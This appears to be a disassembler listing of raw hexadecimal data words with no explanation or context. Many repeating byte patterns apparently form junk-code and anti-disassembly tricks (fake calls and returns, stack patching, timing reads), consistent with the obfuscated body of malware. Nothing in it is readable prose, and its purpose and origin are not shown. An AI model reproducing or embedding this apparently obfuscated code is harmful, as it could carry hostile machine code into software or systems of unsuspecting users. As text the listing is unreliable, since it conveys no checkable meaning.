0B4C9773Bh, 475E9BD8h dd 0DE847h, 0D6490000h, 0CAD028A7h, 0B9D4704h, 8BFE03E5h dd 0E3815EF1h, 100h, 12E9h, 85B12100h, 0FBBDF06Ch, 0DC24C466h dd 22188F95h, 0BB15EFDh, 8E850FDBh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0FA2EC357h, 6684A2E0h, 837854BFh, 0E40B51BDh, 840F0007h dd 2Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 63C35747h, 4B3A79F3h, 0E9B8D251h, 75h, 30B5B533h, 85C707E0h dd 7E40B51h, 1, 0E9F78B66h, 5Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0AC35646h, 5185C715h, 7E40Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 6612C352h, 0A7781D0Dh, 998E266Ah dd 6890Fh, 85890000h, 7E006A5h, 6EDE23BEh, 1D9D8D3Fh, 6A07E01Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 7F84C352h, 0E39B6D7h, 0A9BD33B4h, 8107E02Dh dd 0FFFEFF23h, 0EE8166FFh, 8C66C2E7h, 4C3F6DBh, 35840Fh dd 0FFF90000h, 0E01AE995h, 52509007h, 0D77FBF66h, 0D3BE310Fh dd 5A585124h, 52505058h, 25A1B5BFh, 66310F71h, 585AF78Bh dd 8850F90h, 0F000000h dd 283h, 0E9616000h, 43Fh, 2FA98D31h, 0B007E0h, 2B7DB58Bh dd 0B70F07E0h, 8970E6F3h, 0E02EDD95h, 6A71E407h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E97DC351h, 11h, 0D41E6F7Fh, 0D0022EFAh, 0C958CBA4h dd 0A51FA5A7h, 7DBD3187h, 0F07E014h, 6AD8B6h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 411ACBC3h dd 5800Fh, 9DBE0000h, 2B6BD10Ch, 0E01F5DBDh, 6BA07h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 9382B5C3h, 782B2BBFh, 6AC38B75h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AAD6C351h dd 89296467h, 0E00FB58Dh, 4E8C107h, 1409BD8Bh, 0F76607E0h dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 85998849h, 6655C344h, 0DB7EF781h, 0CE9h dd 4A0A400h, 9A4BB565h, 72EBFBF0h, 89D82B1Fh, 0E02A01BDh dd 0F609307h, 28Fh, 66616000h, 614AADBEh, 0DCBF6650h, 8B669322h dd 91B5FFF2h, 6A07E013h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5A1DC355h, 18A995FFh dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0BE5959C3h, 309B3A07h, 9E9h, 7B48F300h, 0BACA461Dh dd 0B089ECh, 5E8h, 3B2CDE00h, 5FF98699h, 2F0DBD0Bh, 70E607E0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 45C35545h dd 138DB533h, 71E407E0h, 0F613CF5h, 26A83h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0F75F3FEBh, 0AEA1A8Ah, 0D1B50340h, 0F07E023h, 689h dd 71BD8B00h, 0F07E016h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 894B91C3h, 0E02DE18Dh dd 6BA07h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BC8EDC3h, 8B6651C3h, 0E8C15EF2h dd 8B665704h, 0F7665EF3h, 89D82BE2h, 0E0082985h, 95895807h dd 7E00015h, 880FD82Bh, 1C3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 7CC35343h, 93C4B3C7h, 89B3EE27h dd 0E0307D8Dh, 42DE8107h, 0B961C3C4h, 7, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 1BC35242h, 92ED1F5Dh dd 8327FD55h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0E11521C3h, 0A0C8599Ch, 0F32F938h dd 0D93BFABFh, 139860Fh, 0BD890000h, 7E00FD5h, 6AD98C66h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 1866C350h, 0CDA89843h, 0E9D78151h, 5E1880C7h dd 0F04C1F6h, 0E884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 9123DA2Fh, 76575DE3h dd 0FBB70F92h, 1AE995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0E366E0C3h, 4F0AE388h dd 0F5BF08Bh, 0C32BFAB7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 83C35646h, 0C5886559h, 0DD858956h, 3D07E030h dd 834h, 5F860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0CFBE66C3h, 66B8B5C0h dd 0FFC608Bh, 58Ch, 0D8816600h, 0E961238Dh, 3Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 98C35040h, 9FE34B3Ch dd 89FA6720h, 0E024F5BDh, 8BC08B07h, 0E00201BDh, 7E95207h dd 6000000h, 738EEEAh, 8B5E82A8h, 6AD88BC3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 9497C357h, 0BEABBE2Ah, 1249E26Bh, 0E185C7h, 9F307E0h dd 14E81F03h, 0D2000000h, 81BEE0C6h, 0E743F1Ah, 306D7C49h dd 51D7001Bh, 0FC1F646h, 58Eh, 0D6816600h, 8B5F55FDh, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 85249BCEh, 0D1EC2261h, 0F9B70FBFh, 1391BD81h, 7D007E0h dd 850F0000h, 4Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0D7C35343h, 85FF53A7h, 7E01391h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h, 0A688B062h dd 0FEBF0F62h, 0FFF7B70Fh, 0E01391B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E3F14CCh, 1A698589h, 95FF07E0h, 7E018A9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 13C35747h, 89336A42h dd 0E031618Dh, 6A9007h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0DF2232C3h, 0ABA4B08Eh, 0FB8B66ACh dd 0E5BD8B53h, 6007E01Ah, 16EDBD8Bh, 0BE6607E0h, 0BD8B94A7h dd 7E007A5h, 0F513C5BBh, 6A5E615Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60B2C352h dd 0BA55C181h, 820F0B9Bh, 0Ch, 21759D33h, 8B0F07E0h, 0 dd 57B7D6B9h, 88B0F67h, 0BB000000h, 3017E67Ch, 61CE8B66h dd 53F0B70Fh, 29EDBD89h, 0A1BE07E0h, 5E43ABAEh, 675BD89h dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 782F58C3h, 9F184229h, 319D89CFh, 8B07E004h dd 53006AF1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 7E987h, 8AD60000h, 0A8E99B3h, 51B58B0Ch dd 0E807E01Ah, 8, 5E379EAh, 98529F45h, 1C14BF66h, 0AE95Eh dd 15A50000h, 0DDE07B8Dh, 48AC84D7h, 0FFF774E9h, 0FF18BFFh dd 0D85h, 49BE5000h, 5F41495Ah, 1B11BD8Bh, 0C18B07E0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 53C35646h dd 0A9B049EAh, 30C6B1Bh, 3D6BC781h, 4EB3E7Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 73C35242h dd 0E665174Ah, 0B58BE1CCh, 7E02B7Dh, 2521BD29h, 858D07E0h dd 7E013C9h, 89FE8B50h, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 2EA72CC3h, 295788E5h dd 0E017D9BDh, 13E85E07h, 9C000000h, 8A10620Ch, 0B563B7ADh dd 1F6381D9h, 262CFB53h, 9D01BBA8h, 7E02C9Dh, 6A006A5Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F6E8C353h, 0DB42AA63h, 6AFA8Bh, 0A5CE8166h dd 3C858D59h, 8907E417h, 0E0129995h, 5C08307h, 0F6090F9h dd 38Bh, 0C88B6600h, 14E8h, 7E78CE00h, 0CF8663F2h, 74E46218h dd 84F8B25Dh, 0BBC9F42Fh, 96B86675h, 50615995h, 0C8B4BF66h dd 66006A90h, 9926C781h, 9531006Ah, 7E016EDh, 344195FFh dd 8A0F07E0h, 0 aNauguJ db '“£ã',7,'j',0 dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 4E9776C3h, 0E7E567E1h, 0D3FF5D96h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0FBC35242h, 0FFE42BFAh, 0E020FD85h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 4E027423h, 148B27E6h, 8A2E9h, 0E800h, 815D0000h dd 0E41746EDh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0EC00CA84h, 9E521DAFh dd 95899917h, 7E02DD5h, 34DFBE66h, 1391BD81h, 7D007E0h dd 860F0000h, 1ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 89C35242h, 988D6074h, 0DCEC3FC2h, 13E9609Dh dd 1C000000h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh, 6FDBBF29h dd 0B5895FBAh, 7E017B5h, 19D8B61h, 6A07E01Eh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0BAFAC355h, 54F06D3Ch, 5E86Ah, 0D990000h, 66BAC186h dd 5F0FD1BFh, 100E381h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 81667FC3h, 0B06F2EFh dd 0C0850FDBh, 0F9000000h, 0CE9h, 0AD99E000h, 0E27565C4h dd 157FD26Eh, 0BCBD83DFh, 7E415h, 48840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 30D942C3h, 93E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C4165A41h, 0CC5F8E54h dd 85C79308h, 7E415BCh, 1, 1E17B860h, 8E93790h, 1E000000h dd 0F141BEA0h, 619D328Eh, 0A860Fh, 5E90000h, 0FB000000h dd 6837539Bh, 3BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0FF928A4h, 282h, 0C7FA8B00h dd 0E415BC85h, 7, 0DB58900h, 6607E02Bh, 8B8FE681h, 1E019D8Dh dd 0B58B07E0h, 7E0059Dh, 0FEFF2381h, 0E781FFFFh, 4CB8B6E4h dd 9E8h, 9E98E900h, 0C5D7245Dh, 9501471Bh, 7E013B5h, 0DB8C665Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C9C35646h dd 0C23544F7h, 7E8h, 0D92B500h, 0F7972591h, 60CFB160h dd 0F65F6161h, 840F04C3h, 3Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 1DC35646h, 59FB0EF6h, 0FD812B6Dh dd 0E995FFBBh, 2907E01Ah, 0E031D5BDh, 4895007h, 62BE6624h dd 1AE9F9EDh, 8B000004h, 0E018F5B5h, 75B58B07h, 0B007E025h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0DFA56721h, 0A62FC6EBh, 2D5DBD8Bh, 70E607E0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 84C35343h dd 0DE423FB8h, 0E9A3F7BEh, 5, 56CF24D5h, 8E0FCEh, 0E4000000h dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 17227A79h, 14E8h, 7A9CEC00h, 0C7C3EE77h dd 2631C300h, 0F9E9775Bh, 69C902D1h, 77C781D9h, 5E2860ABh dd 23D8B60Fh, 0E0107DBDh, 6BA07h, 0B70F0000h, 8BC38BF0h dd 0E00735B5h, 4E8C107h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0B3C35040h, 14E9h, 63114500h, 7E59CAAFh dd 8A3637E1h, 88509F13h, 82307EC6h, 0E2F76680h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 2FDD8589h dd 0D82B07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0E5C35646h, 9D99303Bh, 0C7076D7Dh, 0AE9D4h, 195D0000h dd 61B42056h, 0FDEDA0C3h, 0F08B6650h, 0E9241C89h, 8, 0B35A4CFBh dd 27622DE9h, 1391B5FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0FF1C41C3h, 0E018A995h dd 19B58B07h, 0B007E010h, 30BF6600h, 6A70E6B6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F7D4C356h, 2A2DB58Bh, 0E4FC07E0h, 1DB58B71h, 3C07E005h dd 42830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 78DC350h, 4C1943A7h dd 0BF66DDF0h, 0B60F5957h, 0EF8166D8h, 6BA3114h, 29000000h dd 0E023259Dh, 0E9C38B07h, 10h, 8BAB01F3h, 0A4840F68h dd 449DD6CFh, 3005241Bh, 4E8C1F8h, 0D7EF03BFh, 0E2F76660h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h dd 8CCF3A85h, 0C36D2171h, 85BF664Ch, 6AD82B2Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 5842C352h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 5DC35242h, 7F38F67Fh, 3DB58B7Bh, 2B07E025h, 6E880FD8h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0A158C357h, 71B43060h, 335105D9h dd 0E02945B5h, 860F5E07h, 6, 33A1B58Bh, 7B907E0h, 0F5000000h dd 779BD8Bh, 0C18307E0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0F96DA781h, 0F9514C1Dh dd 0FD93B5Fh, 0FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 366A9772h, 9D89C607h dd 7E001BDh, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6552C355h, 0B89AC33h dd 4DB58B91h, 0F607E006h, 840F04C1h, 8Ah, 10E9h, 0ECF67B00h dd 38971045h, 2C140B66h, 0BE5BBFA9h, 0E995FFEAh, 6A07E01Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 3FF6C356h, 8B0D8FB0h, 0BF665BF3h, 0C32B713Fh dd 8219D01h, 343D07E0h, 0F000008h, 3586h, 0B5950100h, 0E907E028h dd 41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h dd 0B1C35545h, 8D293F44h, 7E00901h, 157D9D29h, 0C08B07E0h dd 10E9h, 0D5BFE300h, 7A12949h, 0A1FF670Bh, 994D9BFDh dd 8BC38B50h, 9D0150D8h, 7E02419h, 1D85C75Eh, 3F07E01Bh dd 6A13C22Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 3ECDC357h, 0A5B58B60h, 0F807E008h dd 5E961h, 0A23E0000h, 8B44BC02h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0D003135h dd 57922707h, 1D11BD01h, 0BD8107E0h, 7E01391h, 7D0h, 3E850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 912D1EC3h, 0E800Fh, 9E90000h, 52000000h dd 72D56E0Fh, 0E97480D9h, 139185FFh, 8D8907E0h, 7E02C91h dd 1391B5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 11E9C0C3h, 62000000h, 0FF9D13F0h dd 0A5479CC7h, 175F1FFFh, 37696F20h, 18A995FFh, 8D0907E0h dd 7E0153Dh, 5BD2990h, 6A07E01Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88A9C356h dd 899C3179h, 0C830Fh, 85890000h, 7E033F1h, 4D3EF81h, 0BF660B8Dh dd 0BD8BC496h, 7E001C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0EC35242h, 0B4B7E8BAh, 33003E3Eh, 0E020B1BDh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 30EAA87Fh, 6A1CDEh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 42515BC3h, 0E395A8B0h dd 8D894581h, 7E01571h, 855B58Bh, 6A07E0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 2E7BA3C3h dd 0DFF83371h, 333DBD8Bh, 7E807E0h, 8F000000h, 92EAF28Fh dd 8E0F209Ch, 6, 2FB1B58Bh, 0F98B07E0h, 0F767E95Eh, 0BF0FFFFFh dd 598D89FAh, 8B07E02Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0EB88C9A3h, 4, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 2F299FA2h, 5DBD8BF5h, 8D07E01Ch, 0E013C985h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0A03EDEC2h, 1DF5C71Eh, 0F8A0Fh, 0AE90000h, 7B000000h dd 6FBDFCB8h, 0F33985ACh, 0BF66906Fh, 0BF5066B0h, 0AFC8BEDh dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0FE38BFD0h, 0B52BE380h, 7E00031h, 1201B58Bh dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 28C35040h, 20F8DE34h, 0E86D46C6h, 0Ah, 9DFD344h dd 0AF4DA9BAh, 6A5FE294h, 9E800h, 0A7570000h, 0FC0FD0D3h dd 0B6605AAh, 0E01971B5h, 858D5F07h, 7E4220Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h, 7F6036EDh dd 95897093h, 7E00701h, 105C083h, 0E026E185h, 8B665007h dd 240489FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0A8C35646h, 676B446Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E30EEEC3h dd 151D1870h, 6AE3F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0ABC35343h, 1348FBEFh, 1753455h, 0E028AD85h dd 4195FF07h, 0BF07E034h, 75CBDB13h, 3890Fh, 8B660000h dd 939D8DF2h, 6A07E3A3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0E938C355h, 0FF7E53F4h dd 0B9B58BD3h, 0FF07E026h, 0E020FD85h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0DC2A4253h, 0E919FEE3h, 75Ch, 0E8h, 0ED815D00h, 7E42215h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h dd 0BD81F928h, 7E01391h, 7D0h, 0EA860Fh, 9D8B0000h, 7E020E9h dd 6680D781h, 0E3813E33h, 100h, 3345BD8Bh, 0DB0B07E0h dd 8B850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 8970DAC3h, 2005BD83h, 0F0007E4h dd 1184h, 0AABE6600h, 62E961h, 9600000h, 0E012A59Dh, 85C76107h dd 7E42005h, 1, 0C810Fh, 8B0F0000h, 6, 0ED9BCF81h, 8166517Ah dd 0E97793DEh, 34h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0AC35747h, 530F785h, 958953B4h, 7E0141Dh dd 585C75Fh, 7E420h, 0F9000000h, 20E99D8Dh, 6A07E0h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 814FEEC3h, 0FFFEFF23h, 5840FFFh, 0BE000000h, 187CBCDBh dd 66DB8C66h, 0B921C781h, 0F04C3F6h, 4184h, 0E995FF00h dd 6A07E01Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0A965C357h, 0EE95066h, 0D4000000h dd 0EFF2B25Fh, 76588218h, 41A9C64Dh, 2404892Ah, 10C58D89h dd 0ADE907E0h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 1506C351h, 9E937E0h dd 0D4000000h, 16BB1478h, 4A2D81FBh, 0B50300B0h, 7E023F1h dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0F7AA06C3h, 9E39266Fh, 3FBE168Ch, 0E47FC7E0h dd 0AE971h, 766B0000h, 199FD24Eh, 1142F860h, 89D8B60Fh dd 0E02C25B5h, 61B58B07h, 0BA07E01Dh, 6, 8BFE8B66h, 12E9C3h dd 0ADA60000h, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh dd 0C1F6BF0Fh, 0F76604E8h, 52006AE2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 4269D01Dh dd 0FB8BE9D8h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0CB43B9C3h, 0DD98589h, 895007E0h dd 8D89241Ch, 7E01899h, 1391B5FFh, 6A07E0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8908C3h dd 7E00209h, 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B0EFC3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B8C35242h, 12C1AE4Ah dd 1D6C4072h, 0E470E6C1h, 50006A71h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 2FD9EB78h dd 85312CB3h, 7E00DF9h, 615B523h, 613C07E0h, 206830Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0FFC23C3h, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 5E0DE1C3h, 0CE8h, 0E0583C00h dd 0F2B5F2D0h, 6B2147A8h, 5DBD31C2h, 5F07E007h, 6BAh, 0DBD8B00h dd 8B07E02Fh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 944ADE36h, 6604E8C1h, 0D345C681h dd 89E2F766h, 0E022F58Dh, 8BD82B07h, 0E025CDBDh, 8D315807h dd 7E015FDh, 880FD82Bh, 15Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 61C35040h, 0C6FF9689h, 0D2F4E2CBh dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 9212217Ch, 860F4C54h, 5, 0A4647EBFh dd 0C1830Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 48C35040h, 3E2379AAh, 95295E56h, 7E02FA9h, 860FD93Bh dd 0D4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0C6C35141h, 0EAC0DE8Ch, 6BE4B718h, 0DEBF0F60h dd 0D98C6661h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0DDC35646h, 4490B3F3h, 8C6CA16Ch, 0F04C1F6h, 6384h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0EBA2B1B4h, 0FF485A5Bh, 0E01AE995h dd 5E907h, 0CC450000h, 5B90A78Eh, 6914BE66h, 26B19D89h dd 0C32B07E0h, 11BACE81h, 343D2AE1h, 0F000008h, 1386h dd 1FC6000h, 0E02E6DBDh, 1DE96107h, 50000000h, 5EF78B66h dd 11E9C08Bh, 0CD000000h, 0CA5A0DA5h, 5087D206h, 43440580h dd 0A700564h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 58C35141h, 7A6F1B2Dh, 185C778h, 9D07E01Eh dd 6A7F35FBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 5A06C357h, 2D019D95h, 1A85FCAh dd 0E006BD8Dh, 50C08B07h, 19B1E4BEh, 0BD815E71h, 7E01391h dd 7D0h, 5F850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 2F74AEC3h, 23E97164h dd 89B5892Eh, 0E008D985h, 9185FF07h, 6A07E013h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 6515C352h, 28A058FCh, 2E7163D3h, 20F1B58Bh, 0BF0F07E0h dd 91B5FFF6h, 6607E013h, 95FFF08Bh, 7E018A9h, 0AE8h, 2AEFF400h dd 0DAF0D347h, 89BFD70Eh, 0E031318Dh, 89905E07h, 0E0195D9Dh dd 0A1BD8B07h, 6A07E025h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 2732C351h, 0DFF1A057h dd 219D89C7h, 6A07E01Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 68C9C353h, 0FF92B2Dh dd 8D89FBBFh, 7E01B09h, 0F5F08B66h, 8ADBD8Bh, 0B6007E0h dd 0E01ADDBDh, 558D8B07h, 6107E013h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0BDC35141h, 64C65EB8h, 0EA03719Eh dd 9CCABFD9h, 6A2FCBh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 17A914C3h, 820F0FFAh, 2Dh, 8F0F60h dd 80000000h, 8166A1E4h, 613F13CAh, 11E8h, 6DFECF00h, 0B116C14Ah dd 13A84EECh, 13A289B5h, 0B58B1177h, 7E02A61h, 0ADFBBF5Fh dd 6A149Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 75CEE2C3h, 1DBD897Dh, 5207E014h, 0B9A528BEh dd 11BD8B6Ah, 5E07E00Eh, 0FFF8B3E9h, 0AE9FFh, 3FDE0000h dd 863A02E8h, 0D64CB7F0h, 880FC18Bh, 6, 2C89BD8Bh, 5E5207E0h dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0B2E113C3h, 0DC840794h, 0F38BA4F5h dd 12E8h, 14522300h, 0B0A3795h, 87BEEE18h, 1E5F50CCh, 29631CC4h dd 0E031E59Dh, 6A5F07h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 86C289C3h, 0B70147C8h, 0C9858D27h dd 6A07E013h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 29EAC357h, 0E000B5B5h, 4895007h dd 10E924h, 0BABE0000h, 4CE165B8h, 0F2001058h, 3ACBFE05h dd 6AE6D5h, 6A5F53h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0BAC35242h, 66E27A39h, 858DF78Bh, 7E42B4Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 19C35545h dd 0BDCFD19Ch, 0E7135270h, 0EE8160A4h, 332F1E1Ah, 3AD08166h dd 0C0836172h, 41B58B05h, 9007E01Ch, 9050FE8Bh, 5E8h, 549F3700h dd 6E97FFBh, 0F000000h, 0F104ECC7h, 870F5F7Bh, 1Ah, 0EE8h dd 0C4EF6E00h, 0FB28A1Fh, 0F27E78CEh, 29CF8663h, 0E0112D8Dh 